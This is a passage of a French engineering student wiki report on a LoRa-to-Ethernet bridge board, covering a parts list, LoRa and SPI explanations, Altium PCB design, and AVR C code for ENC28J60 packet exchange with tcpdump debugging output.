 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Donc nous avons écrit un code   &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour voir les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
